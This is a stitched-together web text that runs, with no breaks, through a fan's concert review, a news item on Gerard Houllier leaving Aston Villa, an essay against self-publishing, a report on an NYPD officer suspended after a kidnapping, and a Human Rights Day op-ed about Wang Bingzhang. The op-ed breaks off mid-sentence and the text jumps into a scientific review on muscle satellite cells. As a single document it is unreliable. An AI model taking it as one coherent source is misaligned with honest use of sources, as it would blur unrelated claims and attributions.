We waited like an hour outside the venue again, and when we got inside the venue, the people around me were nice and they weren't really pushing against each other. The opening band was cool too. And when Jon came out (eden), I was so excited!!!!!! His voice sounded great, the music sounded great, the lights were great, literally the only show that I cried at. I didn't want that show to end. After he left, we all shouted encore at the stage for like 7 minutes. AND HE CAME OUT AGAIN
AND GUESS WHAT
HE SANG WAKE UP FOR US
this is the third concert ive ever been to but i had so much fun im just absolutely grateful
Read more
Report as inappropriateHoullier missed the last month of the season
Aston Villa have confirmed the departure of Gerard Houllier as manager after only nine months in charge.
The 63-year-old Frenchman missed the final month of the season because of heart problems.
He had been expected to leave his post after undergoing tests this week.
Doctors advised that he will require further time to recuperate and Villa officials were said to be concerned a return to the dugout could cause further health issues.
In a statement, Houllier, who left his role as technical director at the France Football Federation (FFF) to take over at Villa, did not rule out the possibility of returning to the game.
He said: "I am extremely disappointed that I will not have the opportunity to manage Aston Villa next season.
"My health has improved considerably since I was taken ill on 20 April. I now intend to take the next few months to concentrate on recuperating fully before I may return to football.
"I was very much looking forward to the prospect of my first full season as Villa manager and returning for pre-season training.
We have already embarked upon the process which will lead to the appointment of a new manager Villa chief executive Paul Faulkner
"It has been an honour to manage this great club and I wish everyone connected with Aston Villa every success for the future."
In 2001, during his spell in charge of Liverpool, he had open heart surgery after suffering from chest pains during a home match against Leeds.
Houllier returned to take up the managerial reins at Anfield and remained there for another three years before he was sacked.
After leaving Liverpool, he led Lyon to two French titles before joining the FFF in 2007.
He was enticed back into management by Villa in September last year, signing a three-year deal.
But in April he was admitted to hospital with chest pains and Gary McAllister stepped in to help steer Villa away from relegation trouble.
One of Houllier's major decisions during his time at the club was to pay Sunderland £18m for striker Darren Bent, and the England international proved a good acquisition as he scored nine goals in 16 games to help ease Villa's relegation worries.
"It is sad for me to see Gerard go. He signed me and invested a lot of money in me," said Bent.
"He showed a lot of faith in me.
"But your health comes first and, if he's not well enough to come back, then he needs to take a break."
Villa chief executive Paul Faulkner said: "I would like to thank Gerard for his considerable efforts over the past nine months and for the dedication, commitment and work ethic he has demonstrated as Villa manager.
"We regret the circumstances of Gerard's departure and, naturally, we wish him well in his continued recovery.
"I know I speak for everyone associated with Aston Villa in expressing our hope that Gerard will return to full health as quickly as possible and we wish him all the best for the future.
"As a board we are very conscious of the need to ensure that the club is prepared fully to meet the demands of the new season.
"To that end, we have already embarked upon the process which will lead to the appointment of a new manager."
Everton manager David Moyes, Fulham boss Mark Hughes, former England coach Steve McClaren and former Chelsea boss Carlo Ancelotti have been linked with the post.Self-publishing has always been possible and, indeed, for centuries was part and parcel of literary culture. Then it became expensive and, frankly, less prestigious, until digital books came along and made it affordable. Now price and success, too often the determinants of value, have made it respectable.
The idea of writers being able to bring their creations directly to readers is widely touted as a radical advance in authorial control and a revolution in the creative process. Its popularity has soared and its champions, such as the writer and founder of the Alliance of Independent Authors, Orna Ross, proclaim it as something "radical, really revolutionary within my world".. Self-publishing is the revolution du jour, the change that will liberate writers and democratise publishing.
Unfortunately, self-publishing is neither radical nor liberating. And, as revolutions go, it is rather short on revolutionaries. It is actually reactionary, a contracted version of the traditional publishing model in which companies, who produce for a wide range of tastes and preferences, are replaced by individual producers each catering to very narrow range.
Self-publishing is supposed to democratise publishing. For Nicholas Lovell, writing in the Bookseller, "publishers no longer have an ability to determine which books get published and which books don't." In other words, democratisation is nothing more than the expansion of the publishing process from the few to the many. But this both overestimates the barriers to traditional publication – the vetting and selection process may be deeply flawed, but every writer can submit a manuscript – and underestimates the constraints of the marketplace. It also fails to consider whether the democratisation of publishing produces a similar democratisation for the reader by making literary culture more open.
By definition, self-publishing is an individualistic pursuit in which each writer is both publisher and market adventurer, with every other writer a potential competitor and the reader reduced to the status of consumer. Publishing then becomes timid, fearing to be adventurous and revolutionary lest it betray the expectations of its market. This is a natural tendency in traditional publishing but it is one restrained by the voices of its authors who are free to put their work first and entrepreneurship a distant second. With authorship and entrepreneurship now equal partners, the new authorpreneurs have thrown off the dictatorship of the editor to replace it with the tyranny of the market.
You can see this thinking best in the proclamations of the industry that has risen to support these new businesspeople. Dana Lynn Smith defines readers as "people who buy the book to read … the most obvious category and it includes your primary audience (the 'ideal customer' that the book was specifically written for)". Or you can see it in the anger which greeted Will Self's confession that he doesn't "really write for readers".
When writers fear readers, who remains bold enough to push the boundaries?
The risks that are an inescapable part of an industry where every book is a gamble make traditional publishers very conservative. But they are far more liberal, far more radical than self-publishing in its current form. Cross-subsidies from commercial titles support poets, academics and writers of new and daring literary fiction who will never appear on bestseller lists. Such concerted action is impossible in a fragmented world where each writer pursues individual success.
Can a literary culture where writers are producers and readers are consumers be truly open? Only if your definition of an open society is one ruled by the market.
The individualism of the self-publishing authorpreneurs, is disturbingly close to Ayn Rand's Objectivism, in which the greatest goal is individual fulfilment. No wider context needs to be considered because these wider goals will take care of themselves if every individual pursues a personal objective without regard to anyone else. It is the philosophy of pure laissez-faire capitalism that rejects community and mutual responsibility.
If self-publishing is to be a radical and revolutionary force it will be forged by creative collectives, groups of committed writers and artists who inter-publish, contributing to the publication not just of their own work but of the work of the others in the group across diverse genres and literary forms. Collectives, such as Year Zero Writers and Pankhearst offer the best hope that self-published authors can produce innovative, challenging writing and ensure that all literary forms and genres are represented, for all readers. That would be a true democratisation of publishing.DESCRIPTION
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If you are finding this English content outside of RatzillaCosme.com, then the site is guilty of plagiarism. The information provided does not represent my view in any way. Please see here for full disclaimer.Veteran NYPD cop suspended after man, 25, found bound and gagged in his garage
A veteran police officer working for the New York Police Department has been suspended after a man was found tied up in his garage.
The man was found bound and gagged at the Queens home of Ondre Johnson, who has worked for the Brooklyn North gang unit for 17 years.
Investigators had been tipped off that a man was being held at the home - which he shares with a cousin - for a $75,000 ransom, the sources said.
Scene: Police swooped on the home of NYPD officer Ondre Johnson, pictured, and found a man bound and gagged inside the garage
The 45-year-old detective was suspended without pay and stripped of his gun and badge, NBC 4 reported.
Police went to the home after tracking a cell phone the kidnappers used to call the victim's friend to demand the money, sources told the Daily News.
Johnson was about to leave the home when detectives approached the home and was taken into custody after identifying himself as an officer.
Inside the garage, police found a 25-year-old man tied up, and inside the home, they found two safes containing materials to make fake credit cards, including printing presses and unmarked plastic cards.
Captive: Johnson, who lives at the address with a cousin, said he never uses the garage, pictured, and had no knowledge of the man Johnson told police he lived in one apartment in the two-story house and a cousin, 30-year-old Hakeem Clark, lived in the other apartment.
Johnson denied any knowledge of the materials, which were found in Clark's apartment, police said. He added to authorities that he never used the garage, which is detached from the house at the end of a short driveway.
Four men inside the house were taken into police custody, including Clark. He was later charged with kidnapping, attempting to collect ransom and criminal possession of a weapon.
Veteran: Johnson has worked at a gang unit in Brooklyn for 17 years. He has now been suspended and forced to hand in his gun and badge
James Gayle and Jason Hutson, both 27, also face the same charges.
Another suspect, Alferdo Haughton, 24, was charged with kidnapping.
A police official told the New York Times that investigators decided they did not have enough evidence to arrest Johnson.Today is Human Rights Day, an occasion commemorating the United Nations' passage of the Universal Declaration of Human Rights in 1948. The standards established that day built upon universal freedoms proclaimed by the allied forces during the second world war. In the aftermath of that horrific war, they were intended to deter systematic human rights violations, and to raise awareness and action when they do occur.
For these reasons, it's important to celebrate the tremendous progress in global human rights over the past 65 years, including the integration of language from the declaration into many constitutions all over the world. However, we must also remember that the UN's vision of these values being "universal," is far from complete, and the recent admission of China into the UN Human Rights Council (UNHRC) further highlights this reality.
For decades, China has faced persistent criticism for a range of human right violations. These include the suppression of political dissent its record annual number of state executions, among many others. Shortly after its admission into the UNHRC, China announced several major policy shifts, some of which concerned human rights. In a move that was praised by human rights advocates, China vowed to close labor re-education camps, ease restrictions of its "one-child" policy, and curtail use of capital punishment. While these signs may seem encouraging, China also re-affirmed the supreme control of the one-party state and its continued intolerance for dissent and freedom of expression, raising concerns about the long-term stability of its human rights progress.
My father, Wang Bingzhang, is among those who would find difficulty feeling optimistic about these new changes. He is serving a life sentence in prison in China for his pro-democracy advocacy work. As a young man, he founded China's overseas democracy movement. A medical doctor educated in the West, he instead devoted his life to what he believed were basic freedoms long overdue to the Chinese people. For 20 years, he lived and worked out of New York. Inspired by American democracy of the time, and dedicated to his dream of a democratic China, he started a dissident magazine, founded several opposition organizations and travelled the world giving speeches to inspire others to share his ideals.
Then in 2002, while traveling in Vietnam, my father was abducted, forced into a boat to China and arrested by the Chinese police. After being held incommunicado for 6 months, he was subjected to a secret, sham trial, and found guilty of his alleged crimes. For over a decade, he has been serving his sentence in solitary confinement. In recent years, his despair and isolation have sent both his physical and mental health into devastating decline.
In a country without meaningful rule of law, my family has no means to legally appeal my father's conviction, despite having secured exonerating evidence for the graver charges against him. The lawyers we've retained on his behalf are routinely intimidated by authorities, obstructed from visiting him and threatened to be disbarred. I, too, have paid a penalty for speaking on his behalf. For the past five years, I have been unable to visit him, as the |
satellite cell divisions (108, 489). By pulse labeling or tandem pulse labeling of growing/regenerating muscles with halogenated thymidine analogs, it was further discovered that all “older” chromosomes (the template chromosome during DNA replication during S phase) cosegregate into the more stemlike daughter cell, whereas “younger” chromosomes are inherited by the more differentiated daughter cell during asymmetric divisions of satellite cells both in vivo and in vitro (109, 489). According to the “immortal DNA strand” hypothesis (75), this preferential retention of “older” chromosomes protects stem cells against the accumulation of mutations introduced during DNA replications (109, 489). Alternatively, it has been also proposed that the nonrandom segregation of sister chromatids, and hence their different epigenetic states, is essential to the gene expression patterns and cellular fates of satellite stem cells and satellite progenitor cells (289). In summary, the aforementioned findings support satellite cell heterogeneity whereby the existence of a hierarchy delineates a small population of true stem cells (satellite stem cells) from a more committed myogenic progenitor population of satellite cells. The satellite stem cells are less committed to the myogenic lineage and tend to retain older template DNA during division. Through asymmetric division, satellite stem cells self-renew to replenish the stem cell pool and produce more committed myogenic progenitors that participate in skeletal muscle growth and regeneration.
Satellite cells also exhibit heterogeneity in respect to their cell fate potential. Our group first revealed that satellite cells have an intrinsic potential to differentiate into multiple mesenchymal lineages (23). When cultured on solubilized basement membrane matrix (matrigel), satellite cells from single myofibers spontaneously differentiate into myocytes, adipocytes, and osteocytes. This finding indicates that satellite cells functionally resemble bone marrow-derived mesenchymal stem cells. This notion is substantiated by another study wherein satellite cells were found to assume the adipocyte lineage, which can be enhanced upon oxygen-rich culture conditions (120). By clonal analysis, it was found that myogenic and adipogenic satellite cells are two separate populations in the satellite cell compartment, although both populations express the myogenic marker Pax7 as well as the adipogenic markers peroxisome proliferator-activated receptors γ (PPARγ) and CCAAT/enhancer binding proteins (C/EBPs) (485). This similar molecular signature may reflect a common developmental origin of satellite cells and adipogenic progenitors in embryonic somites (discussed in sect. IIE). Satellite cell heterogeneity with regard to myogenic and nonmyogenic potential was thoroughly investigated by in vitro differentiation and in vivo transplant assays (486). In this study, myofiber-associated satellite cells were isolated from undamaged skeletal muscle by a two-step enzymatic digestion and sorted by FACS based on their differential expression of cell surface markers, CD45 and Sca-1. It was found that the vast majority of myogenic satellite cells are within the CD45−/Sca-1− population and exhibited no in vitro differentiation potential into fibroblasts or adipocytes. In contrast, the minor population of CD45−/Sca-1+ satellite cells can differentiate into both fibroblasts and adipocytes in culture, a similarity that is shared with CD45−/Sca-1+ mesenchymal stem cells found in multiple tissues (316, 401, 417, 441, 509, 519). Despite the plasticity of satellite cells in vitro, it is important to note that myogenesis is the predominant fate of satellite cells in vivo as fibrosis or adipose infiltration is not normally observed in young healthy muscle. Furthermore, recent studies indicate that intramuscular adipocytes and fibroblasts can also arise from fibrocyte/adipocyte progenitors (FAPs), which reside in the muscle interstitium (252, 541; and discussed in sect. IIIB1). Indeed, lineage tracing experiments indicate that adipocytes derived from myofibers isolated from MyoDiCre;R26R-EYFP mice have never transcribed MyoD (507). As the vast majority of adult satellite cells were permanently labeled with EYFP in this experiment, this finding argues that most satellite cells from myofiber cultures do not spontaneously differentiate into adipocytes. Further investigation with more definitive lineage tracing (e.g., Pax7CreER;R26R-EYFP) methods would clarify the exact contribution of satellite cells to other nonmyogenic lineages both in vitro and in vivo.
As discussed here, multiple lines of evidence demonstrate that satellite cells represent a heterogeneous population. However, our understanding of this heterogeneity is far from complete. First, although several markers can separate the total satellite cell population into functional subpopulations, it is still unknown whether these subpopulations are homogeneous in their function and gene expression. Further studies to identify additional satellite markers will potentially help distinguish the various satellite cell lineages. Moreover, future investigations should attempt to identify the intrinsic differences between satellite cell subpopulations at the molecular and functional levels during muscle regeneration. Such findings would elucidate regulatory mechanisms governing the transition between different satellite cell subpopulations and potentially distinct roles of satellite cell subpopulations during muscle regeneration. In addition, it would be of great importance to understand the dynamics of satellite cell heterogeneity in response to various environmental cues with regard to research in muscle regeneration and disease.
D. Variance of Satellite Cells Number and Location
In addition to the heterogeneity of satellite cells, the quantity of satellite cells differs between muscles, myofiber types, developmental stages, and species. In general, satellite cells account for 30–35% of the sublaminal nuclei on myofibers in early postnatal murine muscles, and this number declines to 2–7% in adult muscles (9, 227, 450, 469). In adults, the percentage of satellite cells in soleus muscle is generally two- to fourfold higher than that in tibialis anterior muscle or EDL muscle (190, 466, 500). Within the same muscle, the number of satellite cells found on slow muscle myofibers (type I) is generally higher than those on fast myofibers (type IIa and type IIb) (190, 324, 383). The biological meaning and the potential regulatory mechanisms underlying these phenomena are poorly understood. However, it is conceivable that these variances may reflect intrinsic heterogeneity of satellite cells on different myofibers and implicate a potential role of myofibers as a niche factor in regulating the homeostasis of their resident satellite cells.
Along a myofiber, the distribution of satellite cells is not random. It has been reported that the density of satellite cells is higher at the ends of the myofibers, where the longitudinal growth of skeletal muscles happens (14). A higher incidence of satellite cells has been observed at perisynaptic regions compared with that at extrasynaptic regions (190, 269, 567). Moreover, satellite cells have been observed in close proximity to capillaries (100, 466). In fact, 88% of satellite cells in adult human muscles were observed to be located within a 21-μm distance of a capillary (100). This tight association with capillaries seemed to be compromised by denervation (130). These observations indicate that homing of satellite cells is influenced by their niche, both by local motor neurons and blood vessels (discussed in sect. IIIB).
It is noteworthy that some reported variation in satellite cell numbers may be partially due to techniques or statistical analysis employed in satellite cell counting. For example, satellite cell counting based on immunofluorescence labeling of satellite cell specific markers relies on the comparable expression levels of these markers on all satellite cells under investigation. As such, special caution should be taken into account when interpreting data between independent experiments.
E. Origins of Adult Satellite Cells
1. Embryonic origins
By classic techniques of developmental biology, it has long been established that skeletal muscles within both the adult trunk and limbs develop from embryonic somites (462). However, the exact origin of adult satellite cells was obscure until recently.
Early experiments using a quail-chick chimera technique suggested a somitic origin of satellite cells in amniotes (18). Embryonic somites are segments of paraxial mesoderm formed on both sides of the body axis. In this experiment, somites from donor quail embryos were transplanted into host chick embryos. After embryonic development, the contribution of quail cells to the chick satellite cell compartment was determined using Feulgen staining, which distinguishes quail-specific interphase nuclei from those of chick. It was found that donor cells from quail somites integrated into the chick limb and contributed to both terminally differentiated muscle fibers and satellite cells. This finding indicated a common somitic origin for all myogenic cell lineages, including satellite cells. However, the progenitor cell types at the origin and the developmental route remain unknown.
Advances in mouse genetics, particularly the generation of Pax3 and Pax7 knock-in reporter alleles, allows precise tracing of Pax3/Pax7-expressing myogenic progenitor cells during muscle development in a temporal and spatial manner (265, 326, 350, 432, 433). These reporters together with labeling of cells by electroporation (40, 203), retrovirus (464), Cre-LoxP based lineage tracing (263, 300, 464), and traditional quail-chick transplantation (203, 464), jointly shed light on the embryonic origins of adult satellite cells. Accumulating evidence indicates that adult satellite cells originate from the dermomyotome (203, 265, 434, 464), an epithelial structure formed on the dorsal part of the somite. The dermomyotome contains multipotent progenitor cells, which eventually give rise to multiple adult tissues/cell types including dermal fibroblasts, endothelial cells, vascular smooth muscle, brown fat tissue, and all skeletal muscles of the trunk and limbs (71). The cell fate decisions largely depend on the relative position of these multipotent progenitor cells with respect to adjacent tissues such as the notochord, neural tube, dorsal ectoderm, and myotome (71).
Embryonic muscle development takes place in two successive stages. During the first stage, a group of postmitotic mononucleated myocytes, expressing Myf5 and Mrf4, migrate out from the border regions of the dermomyotome and form primitive muscles beneath the dermomyotome (204, 261). These primitive muscles constitute the primary myotome and are the source of fetal and adult trunk muscles. During the second stage of muscle growth, the central portion of the dermomyotome undergoes an epithelial-to-mesenchymal transition (EMT). During EMT, tightly packed epithelial cells tease apart and turn in a loose mesenchymal state prior to assuming different developmental fates: cells in the medial dermomyotome will develop into brown fat, dermis, and trunk muscle, while cells in the lateral dermomyotome will give rise to endothelia and limb muscles. The different cell fates assumed by the same group of progenitor cells are proposed to be due to asymmetric cell division (40, 101). EMT is accompanied by the extensive cell migration (203, 265, 434, 464). With the breakdown of dermomyotome, a group of proliferating progenitor cells, expressing both Pax3 and Pax7, migrate from the central region of the dermomyotome into the previously formed primary myotome. Upon arrival, some progenitor cells continue to proliferate and replenish the progenitor pool. These cells, which were absent from the primary myotome at earlier stages, count for the majority of all proliferating cells in embryonic/fetal trunk muscles (203, 434). Some of the proliferating Pax3+/Pax7+ progenitor cells persist into late fetal development stages and are enveloped beneath the basal lamina of developing myofibers (203, 434). These cells, which reside in the satellite cell compartment, are presumed to subsequently become the postnatal satellite cells in trunk muscles. Besides proliferation, progenitor cells also exit the cell cycle and begin differentiating into embryonic/fetal truck muscles. Cell cycle withdrawal is concomitant with the expression of the myogenic regulatory factors MyoD and Myf5 (453).
During EMT, another group of proliferating progenitor cells, expressing Pax3 (but not Pax7 in mouse), delaminate from the ventral-lateral border of the dermomyotome and migrate to the limb bud mesenchyme (265, 392, 464). These progenitor cells still maintain their multipotency as they give rise to the limb vascular, lymphatic endothelia, and limb muscles (226, 264). At E11.5 of mouse embryo development, some progenitor cells start to express Pax7 in the anterior limb buds (433). The expression of Pax7 specifies these cells to the myogenic lineage (242). Similar to the myotome-located progenitors, these Pax3+/Pax7+ progenitor cells in limb buds undergo proliferation/differentiation while a portion withdraw from cell cycle and become satellite cells.
All together, these observations indicate that Pax3+/Pax7+ embryonic progenitor cells are the major source of adult satellite cells in truck and limb muscles; it is, however, noteworthy that the aforementioned observations from lineage tracing and immunofluorescence labeling experiments cannot exclude the possibility that some adult satellite cells may originate from other sources during fetal and postnatal muscle development. For example, embryonic dorsal aorta explants, when cultured and disaggregated in vitro, can efficiently give rise to myogenic precursors (129). These myogenic precursors are similar to satellite cells in their gross morphology and expression of molecular markers. Given that adult satellite cells also express endothelial markers, it was proposed that some adult satellite cells originated from the embryonic dorsal aorta (129). However, recent studies revealed that both skeletal muscles and smooth muscles found in dorsal aorta are derived from the same Pax3+ cell population in the paraxial mesoderm (155). Thus it is also possible that the observed similarities are merely reminiscent of a common embryonic origin before myogenic specification.
Distinct from trunk and limb muscles, head muscles have multiple embryonic origins. The majority of head muscles, including branchiomeric muscles and most extraocular muscles, arise from the cranial paraxial mesoderm (CPM) (225, 540). Posterior neck muscles and tongue develop from occipital somites. Similar to progenitor cells migrating to limb buds, the progenitor cells for tongue delaminate from the ventral-lateral border of occipital somites. A small fraction of extraocular muscles also arise from the prechordal mesoderm (PM). On the basis of observations from lineage tracing experiments, it has been found that adult satellite cells of the various head muscles originate from their corresponding embryonic muscles and express distinct combinations of signature genes (225). Unlike trunk and limb progenitors, most progenitor cells for head muscles (except for tongue) express MesP1 rather than Pax3.
2. Alternative origins of adult satellite cells
Accumulating evidence indicates that some adult satellite cells may have alternative origins other than dermomyotome-derived Pax3+/Pax7+ progenitor cells.
First, multiple studies have demonstrated that several types of nonsatellite cells can reconstitute the satellite cell niche and turn into bona fide satellite cells (Pax7-expressing myogenic cells) after transplantation into regenerating skeletal muscles (for details, see sect. IID). It remains, however, largely unknown to what extent these cells contribute to the adult satellite cell pool and muscle development under physiological conditions. Notably, a recent study utilizing TN-APCreERT2 and VE-cadherinCreERT2 alleles showed that alkaline phosphatase (ALPL) expressing pericytes, but not VE-cadherin-expressing endothelial cells, can develop into postnatal satellite cells and participate in normal development of limb muscles (135).
It is noteworthy that some adult satellite cells in mammals may be derived from dedifferentiation of fetal/adult myofibers. It has long been established that the dedifferentiation of “terminally” differentiated multinucleated myofibers occurs in injured skeletal muscle of urodele amphibians, such as the newt (69). Nevertheless, it remains controversial as to whether mammalian myotubes in vitro or myofibers in vivo can undergo a similar dedifferentiation process. Studies utilizing immortalized murine myoblast cell lines (e.g., C2C12 or pmi28 cells) have shown that some myotubes formed by these cells can dedifferentiate into mononucleated myogenic cells in the presence of protein extract from regenerating newt muscles (331), bioactive compounds like myoseverin or its derivatives (149, 443), ciliary neurotrophic factor (CNTF) (95), or by genetic manipulations such as overexpression of Msx1 (379), Twist1 (232), Barx2 (335), or knockdown of Rb1 in conjunction with a deficiency for Cdkn2a (p16Ink4a) (395). By a novel fusion-dependent lineage tracing technique, two recent studies reported that differentiated myotubes formed by satellite cell-derived primary myoblasts (397) or muscle-derived cells (MDCs) (359) can dedifferentiate into Pax7-expressing mononucleated myogenic cells in vitro in response to an inhibitor cocktail (a tyrosine phosphatase inhibitor plus an apoptosis inhibitor) or within regenerating muscle in vivo. Although still not experimentally tested on myofibers formed during development, these intriguing observations jointly suggest that some adult satellite cells may be “recycled” from multinucleated myofibers in vivo during postnatal muscle growth or regeneration. Future studies may employ the fusion-dependent lineage tracing technique in chimeric mice to investigate the physiological relevance of this alternative source of satellite cells.
II. FUNCTIONS OF SATELLITE CELLS IN MUSCLE REGENERATION
Skeletal muscles consist of myofibers, neurons, vasculature networks, and connective tissues, of which the structural and functional element of skeletal muscle is the myofiber. Each myofiber is surrounded by the endomysium (also called the basement membrane or basal lamina). Bundles of myofibers are surrounded by the perimysium, while the entire muscle is contained within the epimysium. Each myofiber is anchored at its extremities to tendons or tendon-like fascia at the myotendinous junctions (MTJs) (531). Myofibers are composed of actin and myosin myofibrils repeated as a sarcomere, which is the basic functional unit of skeletal muscle. Responding to the signals from motor neurons, myofibers depolarize and release calcium from the sarcoplasmic reticulum (SR). This drives the movement of actin and myosin filaments relative to one another and leads to sarcomere shortening and muscle contraction.
Based on their physiological properties, skeletal muscle fibers can be grouped into a slow-contracting/fatigue-resistant type and a fast-contracting/fatigue-susceptible type. Myofibers also vary in terms of their myosin heavy chain (MyHC) isoforms (fast or slow) and metabolism types (oxidative or glycolytic). The choice of myosin gene expression is under the dynamic regulation of thyroid hormone and work load (reviewed in Ref. 28). Recent studies demonstrated that the specification of myosin expression is also regulated by intronic microRNAs within MyHC genes (545, 546).
Mammalian skeletal muscle during adulthood is a stable postmitotic tissue with infrequent turnover of myonuclei (467). Minor lesions inflicted by day-to-day wear and tear can be repaired without causing cell death, inflammatory responses, or histological changes. For instance, local plasma membrane damage caused by spontaneous eccentric muscle contractions can be efficiently repaired by recruiting intracellular vesicles to patch the damaged membrane (30, 508). This repair process involves dysferlin and caveolin-3 (30, 181), and mutations of these genes cause limb girdle muscular dystrophy 2B (LGMD-2B) (36, 314) and 1C (LGMD-1C) (344), respectively. In contrast, severe muscle injuries due to either traumatic lesions (e.g., extensive physical activity such as resistance training, or exposure to myotoxin) or genetic defects (e.g., muscular dystrophies) are accompanied by myofiber necrosis, inflammatory responses, activation of satellite cells, proliferation, and differentiation of satellite cell-derived myoblasts (FIGURE 2). This process, starting from myofiber necrosis and ending with new myofiber formation, is called muscle regeneration. It should be stressed that satellite cells play a pivotal role during muscle regeneration under either physiological conditions (e.g., extensive exercise) (400, 457) or pathological conditions (e.g., myotoxin induced injury) (301, 361, 457). This notion is clearly supported by the findings that ablation of the total satellite cell pool (all Pax7+ cells) in adulthood completely abolished muscle regeneration (301, 361, 457). It has been reported that several types of nonsatellite cells can undergo myogenic differentiation and contribute to muscle regeneration after transplantation into regenerating muscle (24, 210, 287, 345, 413). Nevertheless, the contribution of these cells to adult muscle regeneration seems to be negligible compared with satellite cells, implying the physiological relevance of nonsatellite cell-based myogenesis might depend on Pax7 expression and/or the existence of considerable numbers of satellite cells.
Figure 2.Satellite cell activation, differentiation, and fusion. The myogenic program is orchestrated by key transcription factors that dictate the progression from quiescence, activation, proliferation, and differentiation/self-renewal of satellite cells. This results in the transformation of individual satellite cells into a syncytial contractile myofiber. Initially satellite cells are mitotically quiescent (G 0 phase) and reside in a sublaminar niche. Quiescent satellite cells are characterized by their expression of Pax7 and Myf5 but not MyoD or Myogenin. Damage to the environment surrounding satellite cells results in the deterioration of the basal lamina and their exit from the quiescent state (satellite cell activation). Proliferating satellite cells and their progeny are often referred to as myogenic precursor cells (MPC) or adult myoblasts. Adult myoblasts express the myogenic transcription factors MyoD and Myf5. Following proliferation, adult myoblasts begin differentiation by downregulating Pax7. The initiation of terminal differentiation and fusion begins with the expression of Myogenin, which in concert with MyoD will activate muscle specific structural and contractile genes. During regeneration, activated satellite cells have the capability to return to quiescence to maintain the satellite cell pool. This ability is critical for long-term muscle integrity.
In this section, we examine the extensive cellular and molecular dynamics during muscle regeneration, with emphasis on satellite cell. We also review the potential of nonsatellite cell lineages on muscle regeneration. At the end of this section, we briefly describe the function of satellite cells in normal postnatal muscle development, and compare and contrast this with muscle regeneration in adulthood.
A. An Introduction to Muscle Regeneration
Muscle regeneration occurs in three sequential but overlapping stages: 1) the inflammatory response; 2) the activation, differentiation, and fusion of satellite cells; and 3) the maturation and remodeling of newly formed myofibers.
Muscle degeneration begins with necrosis of damaged muscle fibers. This event is initiated by dissolution of the myofiber sarcolemma, which leads to increased myofiber permeability. Disruption of myofiber integrity is reflected by increased plasma levels of muscle proteins and microRNAs, such as creatine kinase (17) and miR-133a (292), which are usually restricted to the myofiber cytosol. Similarly, the compromised sarcolemmal integrity also allows the uptake of low-molecular-weight dyes, such as Evans blue or procion orange, by the damaged myofiber, which is a reliable indication of sarcolemmal damage associated with extensive exercise and muscle degenerative diseases (218, 328, 396). Moreover, myofiber necrosis is accompanied by increased calcium influx or calcium release from the SR, which in turn activates calcium-dependent proteolysis and drives tissue degeneration (reviewed in Refs. 7, 19, 39). In this process, calpain, a calcium-activated protease, has been shown to cleave myofibrillar and other cytoskeletal proteins (reviewed in Ref. 145). Myofiber necrosis also activates the complement cascade and induces inflammatory responses (389). Subsequent to inflammatory responses, chemotactic recruitment of circulating leukocytes occurs at local sites of damage (reviewed in Ref. 530). Neutrophils are the first inflammatory cells to infiltrate the damaged muscle, with a significant increase in their number being observed as early as 1–6 h after myotoxin- or exercise-induced muscle damage (168). Following neutrophil infiltration, two distinct subpopulations of macrophages sequentially invade the injured muscle and become the predominant inflammatory cells (91). The early invading macrophages, characterized by the surface markers CD68+/CD163−, reach their highest concentration in damaged muscle at ∼24 h after the onset of injury and thereafter rapidly decline. These CD68+/CD163− macrophages secrete proinflammatory cytokines, such as tumor necrosis factor-α (TNF-α) and interleukin (IL)-1, and are responsible for the phagocytosis of cellular debris. A second population of macrophages, characterized by the surface markers CD68−/CD163+, reach their peak at 2–4 days after injury. These macrophages secrete anti-inflammatory cytokines, such as IL-10, and persist in damaged muscle until the termination of inflammation. Notably, the CD68−/CD163+ macrophages also reportedly facilitate the proliferation and differentiation of satellite cells (80, 81, 303, 341, 503).
A highly orchestrated regeneration process follows muscle degeneration. A hallmark of this stage is extensive cell proliferation. Blocking cell proliferation by colchicine treatment (411) or irradiation (423) drastically reduced muscle regenerative capacity. Experiments by [3H]thymidine labeling have clearly demonstrated that the proliferation of satellite cells and their progeny provide a sufficient source of new myonuclei for muscle repair (498, 499, 554; reviewed in Ref. 79 and discussed in sect. IIB). It is commonly agreed that following proliferation, myogenic cells differentiate and fuse to existing damaged fibers or fuse with one another to form myofibers de novo. This process, in many but not all respects, recapitulates embryonic myogenesis.
Muscle regeneration can be characterized by a series of morphological characteristics based on histological and immunofluorescence staining. On muscle cross-sections, newly formed myofibers can be readily distinguished by their small caliber and centrally located myonuclei. These myofibers are often basophilic in the beginning of regeneration due to protein synthesis and the expression of embryonic/developmental forms of MyHC (217, 562). On muscle longitudinal sections and on isolated single myofibers, the centrally localized myonuclei were observed in discrete segments of regenerating myofibers or along the entire new myofiber, which suggests that cell fusion during regeneration happens in a focal, rather than diffuse, manner (58). Occasionally, concentrated regenerative processes may appear as local protrusions (also called budding) on myofibers. Muscle regeneration can often lead to architectural changes of the regenerated myofibers, which are presumably due to incomplete fusion of regenerating fibers within the same basal lamina (57, 58, 64, 465). Newly formed myotubes may not fuse to each other, resulting in clusters of small caliber myofibers within the same basal lamina. Alternatively, they may fuse only at one end, leading to the formation of forked (also called branching or splitting) myofibers. Myofiber branching was commonly observed in muscles from patients suffering neuromuscular diseases, in hypertrophied muscles, and in aging muscles, suggesting this phenotype may relate to abnormal muscle regenerative capacity (59, 90). Small regenerating myofibers may also form outside the basal lamina in the interstitium, due to migration of satellite cells or other types of myogenic cells. Finally, the reconstitution of myofiber integrity may be prevented by scar tissue that separates the two regenerative sites, leading to the formation of a new myotendinous junction.
At the end of muscle regeneration, newly formed myofibers increase in size, and myonuclei move to the periphery of the muscle fiber. Under normal conditions, the regenerated muscles are morphologically and functionally indistinguishable from undamaged muscles.
B. Satellite Cell Activation and Differentiation
In intact muscle, satellite cells are sublaminal and mitotically quiescent (G 0 phase). Quiescent satellite cells are characterized by their expression of Pax7 but not MyoD or Myogenin (116). Examination of β-galactosidase activity in Myf5-LacZ mice indicated that the Myf5 locus is active in ∼90% of quiescent satellite cells, which suggests most satellite cells are committed to the myogenic lineage (37).
